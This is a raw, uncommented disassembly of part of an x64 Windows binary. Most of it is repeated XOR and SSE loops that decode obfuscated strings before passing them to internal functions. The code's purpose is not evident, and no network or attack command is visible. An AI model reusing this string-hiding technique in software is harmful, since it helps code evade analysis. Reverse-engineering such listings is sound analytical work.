add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14009b290
mov r9d, 7
lea r8, [rbp + 0x16e8]
lea rdx, [0x1401ab0e8]
lea rcx, [rbp + 0x7c0]
call fcn.14003b460
movsd xmm0, qword [0x1401456c8]
movsd qword [rbp + 0x740], xmm0
mov eax, dword [0x1401456d0]
mov dword [rbp + 0x748], eax
cmp byte [0x1401456d3], 0
je 0x14009b460
mov r8d, r13d
cmp r12d, 2
jl 0x14009b41e
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401456c8]
xorps xmm2, xmm0
movd dword [rbp + 0x740], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x744]
xorps xmm2, xmm1
movd dword [rbp + 0x744], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x740]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14009b430
mov dword [rbp + 0x18f8], 0x1f4
mov dword [rbp + 0x18f0], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x18f8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x18f0]
lea r8, [0x140160afc]
mov edx, 4
lea rcx, [rbp + 0x740]
call fcn.14003b8c0
movups xmm0, xmmword [0x1401448d0]
movups xmmword [rbp + 0xbd8], xmm0
movzx eax, byte [0x1401448e0]
mov byte [rbp + 0xbe8], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009b619
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xbdc]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009b510
cmp r8d, 0x11
jge 0x14009b660
movsxd rax, r8d
lea r9, [rbp + 0xbd8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14009b630
mov dword [rbp + 0x18e8], 0x1f4
mov dword [rbp + 0x1820], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x18e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1820]
lea r8, reloc.WLDAP32.dll_Ordinal_200
mov edx, 4
lea rcx, [rbp + 0xbd8]
call fcn.14003b8c0
movsd xmm0, qword [0x1401454a0]
movsd qword [rbp + 0x4f0], xmm0
movzx ecx, word [0x1401454a8]
mov word [rbp + 0x4f8], cx
movzx eax, byte [0x1401454aa]
mov byte [rbp + 0x4f0], 0x54
xor byte [rbp + 0x4f1], 0x39
xor byte [rbp + 0x4f2], 0x3a
xor byte [rbp + 0x4f3], 0x3b
xor byte [rbp + 0x4f4], 0x3c
xor byte [rbp + 0x4f5], 0x3d
xor byte [rbp + 0x4f6], 0x3e
xor byte [rbp + 0x4f7], 0x3f
xor cl, 0x40
mov byte [rbp + 0x4f8], cl
xor byte [rbp + 0x4f9], 0x41
xor al, 0x42
mov byte [rbp + 0x4fa], al
mov dword [rbp + 0x18e0], 0x3e8
mov dword [rbp + 0x18d8], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x18e0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x18d8]
lea r8, [0x140160af8]
mov edx, 4
lea rcx, [rbp + 0x4f0]
call fcn.14003b8c0
movsd xmm0, qword [0x140144378]
movsd qword [rbp + 0x550], xmm0
mov eax, dword [str._v__C_VVTNN_]
mov dword [rbp + 0x558], eax
cmp byte [0x140144383], 0
je 0x14009b8e0
mov r8d, r13d
cmp r12d, 2
jl 0x14009b89f
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144378]
xorps xmm2, xmm0
movd dword [rbp + 0x550], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x554]
xorps xmm2, xmm1
movd dword [rbp + 0x554], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x550]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14009b8b0
xor r9d, r9d
mov r8b, 1
lea rdx, [0x1401a5950]
lea rcx, [rbp + 0x550]
call fcn.14003bf70
movzx eax, word [0x140144fe0]
mov word [rbp + 0x4b8], ax
movsd xmm0, qword [str.lXHYI]
movzx eax, byte [0x140144fe2]
movsd qword [rbp + 0x4b0], xmm0
mov byte [rbp + 0x4b0], 0x54
xor byte [rbp + 0x4b1], 0x39
xor byte [rbp + 0x4b2], 0x3a
xor byte [rbp + 0x4b3], 0x3b
xor byte [rbp + 0x4b4], 0x3c
xor byte [rbp + 0x4b5], 0x3d
xor byte [rbp + 0x4b6], 0x3e
xor byte [rbp + 0x4b7], 0x3f
xor byte [rbp + 0x4b8], 0x40
xor byte [rbp + 0x4b9], 0x41
xor al, 0x42
mov byte [rbp + 0x4ba], al
movsd xmm0, qword [0x1401446c0]
movsd qword [rbp + 0x530], xmm0
movzx ecx, word [0x1401446c8]
mov word [rbp + 0x538], cx
movzx eax, byte [0x1401446ca]
mov byte [rbp + 0x530], 0x54
xor byte [rbp + 0x531], 0x39
xor byte [rbp + 0x532], 0x3a
xor byte [rbp + 0x533], 0x3b
xor byte [rbp + 0x534], 0x3c
xor byte [rbp + 0x535], 0x3d
xor byte [rbp + 0x536], 0x3e
xor byte [rbp + 0x537], 0x3f
xor cl, 0x40
mov byte [rbp + 0x538], cl
xor byte [rbp + 0x539], 0x41
xor al, 0x42
mov byte [rbp + 0x53a], al
lea r8, [0x140160944]
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x530]
call fcn.14007f300
movups xmm0, xmmword [0x140146638]
movups xmmword [rbp + 0xc68], xmm0
movzx eax, word [0x140146648]
mov word [rbp + 0xc78], ax
cmp byte [0x140146649], 0
je 0x14009bbc0
mov r8d, r13d
cmp r12d, 2
jl 0x14009bb79
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xc6c]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009ba70
cmp r8d, 0x12
jge 0x14009bbc0
movsxd rax, r8d
lea r9, [rbp + 0xc68]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14009bb90
movsd xmm0, qword [str.VLehOWX_0C]
movsd qword [rbp + 0x560], xmm0
mov eax, dword [0x140146580]
mov dword [rbp + 0x568], eax
cmp byte [0x140146583], 0
je 0x14009bd40
mov r8d, r13d
cmp r12d, 2
jl 0x14009bcfe
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.VLehOWX_0C]
xorps xmm2, xmm0
movd dword [rbp + 0x560], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x564]
xorps xmm2, xmm1
movd dword [rbp + 0x564], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x560]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14009bd10
lea r9, [rbp + 0xc68]
mov r8d, 0x30120
lea rdx, [0x140160a78]
lea rcx, [rbp + 0x560]
call fcn.140042fc0
call fcn.14000cdc0
jmp 0x1400ac87a
cmp byte [0x1401a97fe], 0
je 0x1400a0fab
addss xmm7, xmm6
subss xmm7, xmm12
addss xmm8, xmm12
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
movss dword [rax + 0x118], xmm8
movss dword [rax + 0x11c], xmm7
mov byte [rax + 0x159], 1
subss xmm9, xmm15
movsd xmm0, qword [0x140146b50]
movsd qword [rbp + 0x340], xmm0
movzx eax, byte [0x140146b58]
mov byte [rbp + 0x340], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x341], 0x39
xor byte [rbp + 0x342], 0x3a
xor byte [rbp + 0x343], 0x3b
xor byte [rbp + 0x344], 0x3c
xor byte [rbp + 0x345], 0x3d
xor byte [rbp + 0x346], 0x3e
xor byte [rbp + 0x347], 0x3f
xor al, 0x40
mov byte [rbp + 0x348], al
mov rax, qword [0x140144cd0]
mov qword [rbp + 0x170], rax
cmp byte [0x140144cd7], 0
je 0x14009bf80
cmp r12d, 2
jl 0x14009bf3a
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x170]
xorps xmm2, xmm1
movd dword [rbp + 0x170], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x174]
xorps xmm2, xmm1
movd dword [rbp + 0x174], xmm2
jmp 0x14009bf80
lea r9, [rbp + 0x170]
mov r8d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14009bf50
mov r9b, 1
movss xmm0, dword [0x1401493c0]
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x170]
call fcn.14007f140
movups xmm0, xmmword [0x140146838]
movups xmmword [rbp + 0x10d0], xmm0
movsd xmm0, qword [0x140146848]
movsd qword [rbp + 0x10e0], xmm0
movzx eax, byte [0x140146850]
mov byte [rbp + 0x10e8], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009c125
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x10d4]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14009c020
cmp r8d, 0x19
jge 0x14009c170
movsxd rax, r8d
lea r9, [rbp + 0x10d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14009c140
mov eax, dword [str.W_YPX_]
mov dword [rbp - 0x18], eax
movzx eax, word [0x1401445f0]
mov word [rbp - 0x14], ax
movzx eax, byte [0x1401445f2]
mov byte [rbp - 0x18], 0x45
xor byte [rbp - 0x17], 0x39
xor byte [rbp - 0x16], 0x3a
xor byte [rbp - 0x15], 0x3b
xor byte [rbp - 0x14], 0x3c
xor byte [rbp - 0x13], 0x3d
xor al, 0x3e
mov byte [rbp - 0x12], al
lea r8, [0x140160946]
lea rdx, [rbp + 0x10d0]
lea rcx, [rbp - 0x18]
call fcn.14007f300
movups xmm0, xmmword [0x1401466d0]
movups xmmword [rbp + 0xd70], xmm0
movzx eax, word [0x1401466e0]
mov word [rbp + 0xd80], ax
movzx eax, byte [0x1401466e2]
mov byte [rbp + 0xd82], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009c339
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xd74]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009c230
cmp r8d, 0x13
jge 0x14009c380
movsxd rax, r8d
lea r9, [rbp + 0xd70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14009c350
mov eax, dword [0x140146cb4]
mov dword [rbp - 0x10], eax
movzx eax, word [0x140146cb8]
mov word [rbp - 0xc], ax
movzx eax, byte [0x140146cba]
mov byte [rbp - 0x10], reloc.WLDAP32.dll_Ordinal_50
xor byte [rbp - 0xf], 0x39
xor byte [rbp - 0xe], 0x3a
xor byte [rbp - 0xd], 0x3b
xor byte [rbp - 0xc], 0x3c
xor byte [rbp - 0xb], 0x3d
xor al, 0x3e
mov byte [rbp - 0xa], al
lea r8, [0x1401aa8e8]
lea rdx, [rbp + 0xd70]
lea rcx, [rbp - 0x10]
call fcn.14007f300
movups xmm0, xmmword [0x140145e50]
movups xmmword [rbp + 0xec0], xmm0
mov eax, dword [0x140145e60]
mov dword [rbp + 0xed0], eax
movzx eax, byte [0x140145e64]
mov byte [rbp + 0xed4], al
mov r8d, r13d
cmp r12d, 2
jl 0x14009c549
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xec4]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14009c440
cmp r8d, 0x15
jge 0x14009c590
movsxd rax, r8d
lea r9, [rbp + 0xec0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14009c560
movsd xmm0, qword [0x1401459b0]
movsd qword [rbp + 0x350], xmm0
movzx eax, word [0x1401459b8]
mov word [rbp + 0x358], ax
cmp byte [0x1401459b9], 0
je 0x14009c601
mov byte [rbp + 0x350], 0x53
xor byte [rbp + 0x351], 0x39
xor byte [rbp + 0x352], 0x3a
xor byte [rbp + 0x353], 0x3b
xor byte [rbp + 0x354], 0x3c
xor byte [rbp + 0x355], 0x3d
xor byte [rbp + 0x356], 0x3e
xor byte [rbp + 0x357], 0x3f
xor byte [rbp + 0x358], 0x40
xor byte [rbp + 0x359], 0x41
lea r8, [0x1401a98bc]
lea rdx, [rbp + 0xec0]
lea rcx, [rbp + 0x350]
call fcn.14007f300
movups xmm0, xmmword [str.K_L]
movups xmmword [rbp + 0xc50], xmm0
movzx eax, word [0x140145fb8]
mov word [rbp + 0xc60], ax
cmp byte [0x140145fb9], 0
je 0x14009c7e0
mov r8d, r13d
cmp r12d, 2
jl 0x14009c799
movdqa xmm5, xmmword [0x140149500]
